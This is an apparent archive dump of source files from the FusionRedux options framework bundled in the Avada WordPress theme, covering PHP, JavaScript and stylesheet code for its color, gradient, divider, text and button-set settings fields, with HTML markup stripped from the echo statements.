'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_color_gradient' ) ) { /** * Main FusionReduxFramework_color_gradient class * * @since 1.0.0 */ class FusionReduxFramework_color_gradient { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { // No errors please $defaults = array( 'from' => '', 'to' => '' ); $this->value = wp_parse_args( $this->value, $defaults ); echo '
    ' . __( 'From ', 'Avada' ) . ' '; echo ''; echo ''; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value['from'] == "transparent" ) { $tChecked = ' checked="checked"'; } echo ''; } echo "
    "; echo '
    ' . __( 'To ', 'Avada' ) . ' '; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value['to'] == "transparent" ) { $tChecked = ' checked="checked"'; } echo ''; } echo "
    "; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'fusionredux-field-color-gradient-js', FusionReduxFramework::$_url . 'inc/fields/color_gradient/field_color_gradient' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'fusionredux-js' ), time(), 'all' ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-color-picker-css' ); wp_enqueue_style( 'fusionredux-field-color_gradient-css', FusionReduxFramework::$_url . 'inc/fields/color_gradient/field_color_gradient.css', array(), time(), 'all' ); } } } } includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_gradient/field_color_gradient.js000064400000013702152342437710030557 0ustar00Avada/* Field Color Gradient */ /*global jQuery, document, fusionredux_change, fusionredux*/ (function( $ ) { 'use strict'; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.color_gradient = fusionredux.field_objects.color_gradient || {}; $( document ).ready( function() { // setTimeout(function () { // fusionredux.field_objects.color.init(); // }, 1000); } ); fusionredux.field_objects.color_gradient.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-color_gradient:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( '.fusionredux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); fusionredux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( ui.color.toString() ); fusionredux_change( $( this ).parent().find( '.fusionredux-color-init' ) ); }, palettes: ['#000000', '#ffffff', '#f44336', '#E91E63', '#03A9F4', '#00BCD4', '#8BC34A', '#FFEB3B', '#FFC107', '#FF9800', '#607D8B'] } ); el.find( '.fusionredux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // Replace and validate field on blur el.find( '.fusionredux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); // Store the old valid color on keydown el.find( '.fusionredux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); // When transparency checkbox is clicked el.find( '.color-transparency' ).on( 'click', function() { if ( $( this ).is( ":checked" ) ) { el.find( '.fusionredux-saved-color' ).val( $( '#' + $( this ).data( 'id' ) ).val() ); el.find( '#' + $( this ).data( 'id' ) ).val( 'transparent' ); el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); } else { if ( el.find( '#' + $( this ).data( 'id' ) ).val() === 'transparent' ) { var prevColor = $( '.fusionredux-saved-color' ).val(); if ( prevColor === '' ) { prevColor = $( '#' + $( this ).data( 'id' ) ).data( 'default-color' ); } el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', prevColor ); el.find( '#' + $( this ).data( 'id' ) ).val( prevColor ); } } fusionredux_change( $( this ) ); } ); } ); }; })( jQuery ); includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_gradient/field_color_gradient.css000064400000000560152342437710030731 0ustar00Avada.fusionredux-container-color_gradient .colorGradient{display:inline-block}.fusionredux-container-color_gradient .toLabel{padding-left:18px}@media screen and (max-width: 660px){.fusionredux-container-color_gradient .colorGradient{display:block;text-align:center !important}}/*# sourceMappingURL=FusionReduxCore/inc/fields/color_gradient/field_color_gradient.css.map */ lib/inc/redux/framework/FusionReduxCore/inc/fields/color_gradient/field_color_gradient.min.js000064400000005014152342437710031336 0ustar00Avada/includes!function(i){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.color_gradient=fusionredux.field_objects.color_gradient||{},i(document).ready(function(){}),fusionredux.field_objects.color_gradient.init=function(t){t||(t=i(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-color_gradient:visible")),i(t).each(function(){var t=i(this),n=t;t.hasClass("fusionredux-field-container")||(n=t.parents(".fusionredux-field-container:first")),n.is(":hidden")||n.hasClass("fusionredux-field-init")&&(n.removeClass("fusionredux-field-init"),t.find(".fusionredux-color-init").wpColorPicker({change:function(n,r){i(this).val(r.color.toString()),fusionredux_change(i(this)),t.find("#"+n.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(t,n){i(this).val(n.color.toString()),fusionredux_change(i(this).parent().find(".fusionredux-color-init"))},palettes:["#000000","#ffffff","#f44336","#E91E63","#03A9F4","#00BCD4","#8BC34A","#FFEB3B","#FFC107","#FF9800","#607D8B"]}),t.find(".fusionredux-color").on("keyup",function(){var n=i(this).val(),r=colorValidate(this),e="#"+i(this).attr("id");"transparent"===n?(i(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),t.find(e+"-transparency").attr("checked","checked")):(t.find(e+"-transparency").removeAttr("checked"),r&&r!==i(this).val()&&i(this).val(r))}),t.find(".fusionredux-color").on("blur",function(){var n=i(this).val(),r="#"+i(this).attr("id");"transparent"===n?(i(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),t.find(r+"-transparency").attr("checked","checked")):(colorValidate(this)===n&&0!==n.indexOf("#")&&i(this).val(i(this).data("oldcolor")),t.find(r+"-transparency").removeAttr("checked"))}),t.find(".fusionredux-color").on("keydown",function(){i(this).data("oldkeypress",i(this).val())}),t.find(".color-transparency").on("click",function(){if(i(this).is(":checked"))t.find(".fusionredux-saved-color").val(i("#"+i(this).data("id")).val()),t.find("#"+i(this).data("id")).val("transparent"),t.find("#"+i(this).data("id")).parent().parent().find(".wp-color-result").css("background-color","transparent");else if("transparent"===t.find("#"+i(this).data("id")).val()){var n=i(".fusionredux-saved-color").val();""===n&&(n=i("#"+i(this).data("id")).data("default-color")),t.find("#"+i(this).data("id")).parent().parent().find(".wp-color-result").css("background-color",n),t.find("#"+i(this).data("id")).val(n)}fusionredux_change(i(this))}))})}}(jQuery);includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_gradient/field_color_gradient.scss000064400000000533152342437710031114 0ustar00Avada.fusionredux-container-color_gradient { .colorGradient { display: inline-block; } .toLabel { padding-left: 18px; } } @media screen and (max-width: 660px) { .fusionredux-container-color_gradient { .colorGradient { display: block; text-align: center !important; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/divide/field_divide.css000064400000001531152342437710025531 0ustar00.fusionredux-main .divide{height:20px;line-height:20px;float:none;border-color:#e7e7e7;display:block;width:100%;height:35px !important;line-height:35px !important;position:relative;margin:15px 0 10px 0}.fusionredux-main .divide .inner{width:42% !important;left:40% !important;margin-left:-6%;background-color:#fcfcfc;border-color:#e7e7e7;position:absolute;height:1px;top:50%;width:100%;margin-top:-1px;border-top-width:1px;border-top-style:solid}.fusionredux-main .divide .inner span{background-color:#fcfcfc;border-color:#e7e7e7;height:5px;width:5px;border-width:2px;border-style:solid;display:block;position:absolute;left:50%;margin-left:-5px;margin-top:-5px}.wp-customizer .fusionredux-container-divide .divide .inner{width:82% !important;left:18% !important;margin-left:-8%}/*# sourceMappingURL=FusionReduxCore/inc/fields/divide/field_divide.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/divide/field_divide.scss000064400000002421152342437710025713 0ustar00.fusionredux-main { .divide { height: 20px; line-height: 20px; float: none; border-color: #E7E7E7; display: block; width: 100%; height: 35px !important; line-height: 35px !important; position: relative; margin: 15px 0 10px 0; .inner { width: 42% !important; left: 40% !important; margin-left: -6%; background-color: #FCFCFC; border-color: #E7E7E7; position: absolute; height: 1px; top: 50%; width: 100%; margin-top: -1px; border-top-width: 1px; border-top-style: solid; span { background-color: #FCFCFC; border-color: #E7E7E7; height: 5px; width: 5px; border-width: 2px; border-style: solid; display: block; position: absolute; left: 50%; margin-left: -5px; margin-top: -5px; } } } } .wp-customizer .fusionredux-container-divide { .divide .inner { width: 82% !important; left: 18% !important; margin-left: -8%; } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/divide/field_divide.php000064400000005010152342437710025524 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Divide * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( !defined ( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( !class_exists ( 'FusionReduxFramework_divide' ) ) { /** * Main FusionReduxFramework_divide class * * @since 1.0.0 */ class FusionReduxFramework_divide { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct ( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render () { echo ''; echo '
     
    '; echo '
    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-divide', FusionReduxFramework::$_url . 'inc/fields/divide/field_divide.css', array(), time(), 'all' ); } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color/field_color.js000064400000017545152342437710025115 0ustar00/* Field Color (color) */ /*global jQuery, document, fusionredux_change, fusionredux*/ (function( $ ) { 'use strict'; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.color = fusionredux.field_objects.color || {}; $( document ).ready( function() { } ); fusionredux.field_objects.color.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-color:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } // var $control = el.find( '.fusionredux-color-init' ), // // value = $control.val().replace( /\s+/g, '' ), // alpha_val = 100, // $alpha, $alpha_output; // //console.log($control); // if ( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ ) ) { // alpha_val = parseFloat( value.match( /rgba\(\d+\,\d+\,\d+\,([^\)]+)\)/ )[ 1 ] ) * 100; // } el.find( '.fusionredux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); fusionredux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( '' ); fusionredux_change( $( this ).parent().find( '.fusionredux-color-init' ) ); }, palettes: ['#000000', '#ffffff', '#f44336', '#E91E63', '#03A9F4', '#00BCD4', '#8BC34A', '#FFEB3B', '#FFC107', '#FF9800', '#607D8B'] } ); // $( '
    ' // + '' // + '' // + '
    ' ).appendTo( $control.parents( '.wp-picker-container:first' ).addClass( 'vc_color-picker' ).find( '.iris-picker' ) ); // $alpha = $control.parents( '.wp-picker-container:first' ).find( '.vc_alpha-field' ); // //console.log($alpha); // $alpha_output = $control.parents( '.wp-picker-container:first' ).find( '.fusionredux-alpha-container output' ); // $alpha.bind( 'change keyup', function () { // var alpha_val = parseFloat( $alpha.val() ), // iris = $control.data( 'a8cIris' ), // color_picker = $control.data( 'wp-wpColorPicker' ); // //console.log(alpha_val); // $alpha_output.val( $alpha.val() + '%' ); // console.log(alpha_val / 100.0); // iris._color._alpha = parseFloat(alpha_val / 100.0); // console.log(iris._color); // //$control.val( iris._color.toString() ); // el.find( '.fusionredux-color-init' ).wpColorPicker( 'color', iris._color.toString() ); // //console.log($control.val()); // //color_picker.toggler.css( { backgroundColor: $control.val() } ); // } ).val( alpha_val ).trigger( 'change' ); el.find( '.fusionredux-color' ).on( 'focus', function() { $( this ).data( 'oldcolor', $( this ).val() ); } ); el.find( '.fusionredux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // Replace and validate field on blur el.find( '.fusionredux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); // Store the old valid color on keydown el.find( '.fusionredux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); // When transparency checkbox is clicked el.find( '.color-transparency' ).on( 'click', function() { if ( $( this ).is( ":checked" ) ) { el.find( '.fusionredux-saved-color' ).val( $( '#' + $( this ).data( 'id' ) ).val() ); el.find( '#' + $( this ).data( 'id' ) ).val( 'transparent' ); el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); } else { if ( el.find( '#' + $( this ).data( 'id' ) ).val() === 'transparent' ) { var prevColor = $( '.fusionredux-saved-color' ).val(); if ( prevColor === '' ) { prevColor = $( '#' + $( this ).data( 'id' ) ).data( 'default-color' ); } el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', prevColor ); el.find( '#' + $( this ).data( 'id' ) ).val( prevColor ); } } fusionredux_change( $( this ) ); } ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color/field_color.php000064400000010224152342437710025253 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Color * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_color' ) ) { /** * Main FusionReduxFramework_color class * * @since 1.0.0 */ class FusionReduxFramework_color { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { echo ''; echo ''; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value == "transparent" ) { $tChecked = ' checked="checked"'; } echo ''; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-color-picker-css' ); } wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'fusionredux-field-color-js', FusionReduxFramework::$_url . 'inc/fields/color/field_color' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'fusionredux-js' ), time(), true ); } public function output() { $style = ''; if ( ! empty( $this->value ) ) { $mode = ( isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'color' ); $style .= $mode . ':' . $this->value . ';'; if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $css = FusionRedux_Functions::parseCSS( $this->field['output'], $style, $this->value ); $this->parent->outputCSS .= $css; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $css = FusionRedux_Functions::parseCSS( $this->field['compiler'], $style, $this->value ); $this->parent->compilerCSS .= $css; } } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color/field_color.min.js000064400000005064152342437710025670 0ustar00!function(i){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.color=fusionredux.field_objects.color||{},i(document).ready(function(){}),fusionredux.field_objects.color.init=function(n){n||(n=i(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-color:visible")),i(n).each(function(){var n=i(this),t=n;n.hasClass("fusionredux-field-container")||(t=n.parents(".fusionredux-field-container:first")),t.is(":hidden")||t.hasClass("fusionredux-field-init")&&(t.removeClass("fusionredux-field-init"),n.find(".fusionredux-color-init").wpColorPicker({change:function(t,r){i(this).val(r.color.toString()),fusionredux_change(i(this)),n.find("#"+t.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(n,t){i(this).val(""),fusionredux_change(i(this).parent().find(".fusionredux-color-init"))},palettes:["#000000","#ffffff","#f44336","#E91E63","#03A9F4","#00BCD4","#8BC34A","#FFEB3B","#FFC107","#FF9800","#607D8B"]}),n.find(".fusionredux-color").on("focus",function(){i(this).data("oldcolor",i(this).val())}),n.find(".fusionredux-color").on("keyup",function(){var t=i(this).val(),r=colorValidate(this),e="#"+i(this).attr("id");"transparent"===t?(i(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),n.find(e+"-transparency").attr("checked","checked")):(n.find(e+"-transparency").removeAttr("checked"),r&&r!==i(this).val()&&i(this).val(r))}),n.find(".fusionredux-color").on("blur",function(){var t=i(this).val(),r="#"+i(this).attr("id");"transparent"===t?(i(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),n.find(r+"-transparency").attr("checked","checked")):(colorValidate(this)===t&&0!==t.indexOf("#")&&i(this).val(i(this).data("oldcolor")),n.find(r+"-transparency").removeAttr("checked"))}),n.find(".fusionredux-color").on("keydown",function(){i(this).data("oldkeypress",i(this).val())}),n.find(".color-transparency").on("click",function(){if(i(this).is(":checked"))n.find(".fusionredux-saved-color").val(i("#"+i(this).data("id")).val()),n.find("#"+i(this).data("id")).val("transparent"),n.find("#"+i(this).data("id")).parent().parent().find(".wp-color-result").css("background-color","transparent");else if("transparent"===n.find("#"+i(this).data("id")).val()){var t=i(".fusionredux-saved-color").val();""===t&&(t=i("#"+i(this).data("id")).data("default-color")),n.find("#"+i(this).data("id")).parent().parent().find(".wp-color-result").css("background-color",t),n.find("#"+i(this).data("id")).val(t)}fusionredux_change(i(this))}))})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/text/field_text.php000064400000007373152342437710025002 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function render() { if ( ! empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if ( empty( $this->field['args'] ) ) { $this->field['args'] = array(); } $this->field['options'] = $this->parent->get_wordpress_data( $this->field['data'], $this->field['args'] ); $this->field['class'] .= " hasOptions "; } if ( empty( $this->value ) && ! empty( $this->field['data'] ) && ! empty( $this->field['options'] ) ) { $this->value = $this->field['options']; } //if (isset($this->field['text_hint']) && is_array($this->field['text_hint'])) { $qtip_title = isset( $this->field['text_hint']['title'] ) ? 'qtip-title="' . $this->field['text_hint']['title'] . '" ' : ''; $qtip_text = isset( $this->field['text_hint']['content'] ) ? 'qtip-content="' . $this->field['text_hint']['content'] . '" ' : ''; //} $readonly = ( isset( $this->field['readonly'] ) && $this->field['readonly']) ? ' readonly="readonly"' : ''; $autocomplete = ( isset($this->field['autocomplete']) && $this->field['autocomplete'] == false) ? ' autocomplete="off"' : ''; if ( isset( $this->field['options'] ) && ! empty( $this->field['options'] ) ) { $placeholder = ''; if ( isset( $this->field['placeholder'] ) ) { $placeholder = $this->field['placeholder']; } foreach ( $this->field['options'] as $k => $v ) { if ( ! empty( $placeholder ) ) { $placeholder = ( is_array( $this->field['placeholder'] ) && isset( $this->field['placeholder'][ $k ] ) ) ? ' placeholder="' . esc_attr( $this->field['placeholder'][ $k ] ) . '" ' : ''; } echo '
    '; echo ' '; echo '
    '; echo '
    '; } //foreach } else { $placeholder = ( isset( $this->field['placeholder'] ) && ! is_array( $this->field['placeholder'] ) ) ? ' placeholder="' . esc_attr( $this->field['placeholder'] ) . '" ' : ''; echo ''; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since FusionReduxFramework 3.0.0 */ function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-text-css', FusionReduxFramework::$_url . 'inc/fields/text/field_text.css', array(), time(), 'all' ); } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/text/field_text.css000064400000001256152342437710024775 0ustar00.fusionredux-container-text label{display:block;position:relative;font-size:12px !important;text-align:left;color:#999;margin:4px 0 2px 0 !important;cursor:default;top:5px;width:100px}.fusionredux-container-text input{clear:left}.fusionredux-container-text .input_wrapper{display:block;position:relative;padding:0;width:23%;max-width:23%;min-width:70px;float:left;clear:left;height:57px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;vertical-align:baseline}.wp-customizer .fusionredux-container-text .input_wrapper{width:100%;max-width:100%;height:auto}/*# sourceMappingURL=FusionReduxCore/inc/fields/text/field_text.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/text/field_text.scss000064400000001627152342437710025162 0ustar00.fusionredux-container-text { label { display: block; position: relative; font-size: 12px !important; text-align: left; color: #999999; margin: 4px 0 2px 0 !important; cursor: default; top: 5px; width: 100px; } input { clear: left; } .input_wrapper { display: block; position: relative; padding: 0; width: 23%; max-width: 23%; min-width: 70px; float: left; clear: left; height: 57px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -o-box-sizing: border-box; box-sizing: border-box; vertical-align: baseline; } } .wp-customizer { .fusionredux-container-text { .input_wrapper { width: 100%; max-width: 100%; height: auto; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/button_set/field_button_set.js000064400000003707152342437710027230 0ustar00/* Field Button Set (button_set) */ /*global jQuery, document, fusionredux*/ (function( $ ) { "use strict"; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.button_set = fusionredux.field_objects.button_set || {}; $( document ).ready( function() { //fusionredux.field_objects.button_set.init(); if ( $.fn.button.noConflict !== undefined ) { var btn = $.fn.button.noConflict(); $.fn.btn = btn; } } ); fusionredux.field_objects.button_set.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-button_set:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( '.buttonset' ).each( function() { if ( $( this ).is( ':checkbox' ) ) { $( this ).find( '.buttonset-item' ).button(); } // ThemeFusion edit: make sure they work with jQuery UI 1.12+ $( this ).buttonset( { items: 'input[type=button], input[type=submit], input[type=reset], button, a, input[type=checkbox], input[type=radio]' } ); } ); } ); }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/button_set/field_button_set.php000064400000013213152342437710027374 0ustar00. * * @package FusionRedux_Field * @subpackage Button_Set * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_button_set' ) ) { /** * Main FusionReduxFramework_button_set class * * @since 1.0.0 */ class FusionReduxFramework_button_set { public $parent; public $field; public $value; /** * Holds configuration settings for each field in a model. * Defining the field options * array['fields'] array Defines the fields to be shown by scaffolding. * [fieldName] array Defines the options for a field, or just enables the field if array is not applied. * ['name'] string Overrides the field name (default is the array key) * ['model'] string (optional) Overrides the model if the field is a belongsTo associated value. * ['width'] string Defines the width of the field for paginate views. Examples are "100px" or "auto" * ['align'] string Alignment types for paginate views (left, right, center) * ['format'] string Formatting options for paginate fields. Options include ('currency','nice','niceShort','timeAgoInWords' or a valid Date() format) * ['title'] string Changes the field name shown in views. * ['desc'] string The description shown in edit/create views. * ['readonly'] boolean True prevents users from changing the value in edit/create forms. * ['type'] string Defines the input type used by the Form helper (example 'password') * ['options'] array Defines a list of string options for drop down lists. * ['editor'] boolean If set to True will show a WYSIWYG editor for this field. * ['default'] string The default value for create forms. * * @param array $arr (See above) * * @return Object A new editor object. * */ static $_properties = array( 'id' => 'Identifier', ); /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( !empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if ( empty( $this->field['args'] ) ) { $this->field['args'] = array(); } $this->field['options'] = $this->parent->get_wordpress_data( $this->field['data'], $this->field['args'] ); if ( empty( $this->field['options'] ) ) { return; } } // multi => true renders the field multi-selectable (checkbox vs radio) echo '
    '; $i = 0; foreach ( $this->field['options'] as $k => $v ) { $selected = ''; if ( isset( $this->field['multi'] ) && $this->field['multi'] == true ) { $type = "checkbox"; $multi_suffix = '[]'; if ( ! empty( $this->value ) && ! is_array( $this->value ) ) { $this->value = array( $this->value ); } if ( is_array( $this->value ) && in_array( $k, $this->value ) ) { $selected = 'checked="checked"'; } } else { $multi_suffix = ""; $type = "radio"; if ( is_scalar( $this->value ) ) { $selected = checked( $this->value, $k, false ); } } echo ''; echo ''; } echo '
    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if (!wp_script_is ( 'fusionredux-field-button-set-js' )) { wp_enqueue_script( 'fusionredux-field-button-set-js', FusionReduxFramework::$_url . 'inc/fields/button_set/field_button_set' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'jquery-ui-core', 'fusionredux-js' ), time(), true ); } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/button_set/field_button_set.min.js000064400000001627152342437710030011 0ustar00!function(t){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.button_set=fusionredux.field_objects.button_set||{},t(document).ready(function(){if(void 0!==t.fn.button.noConflict){var i=t.fn.button.noConflict();t.fn.btn=i}}),fusionredux.field_objects.button_set.init=function(i){i||(i=t(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-button_set:visible")),t(i).each(function(){var i=t(this),n=i;i.hasClass("fusionredux-field-container")||(n=i.parents(".fusionredux-field-container:first")),n.is(":hidden")||n.hasClass("fusionredux-field-init")&&(n.removeClass("fusionredux-field-init"),i.find(".buttonset").each(function(){t(this).is(":checkbox")&&t(this).find(".buttonset-item").button(),t(this).buttonset({items:"input[type=button], input[type=submit], input[type=reset], button, a, input[type=checkbox], input[type=radio]"})}))})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/section/field_section.php000064400000010500152342437710026124 0ustar00. * * @package FusionReduxFramework * @subpackage Field_Section * @author Tobias Karnetze (athoss.de) * @version 1.0.0 */ // Exit if accessed directly if ( ! defined( 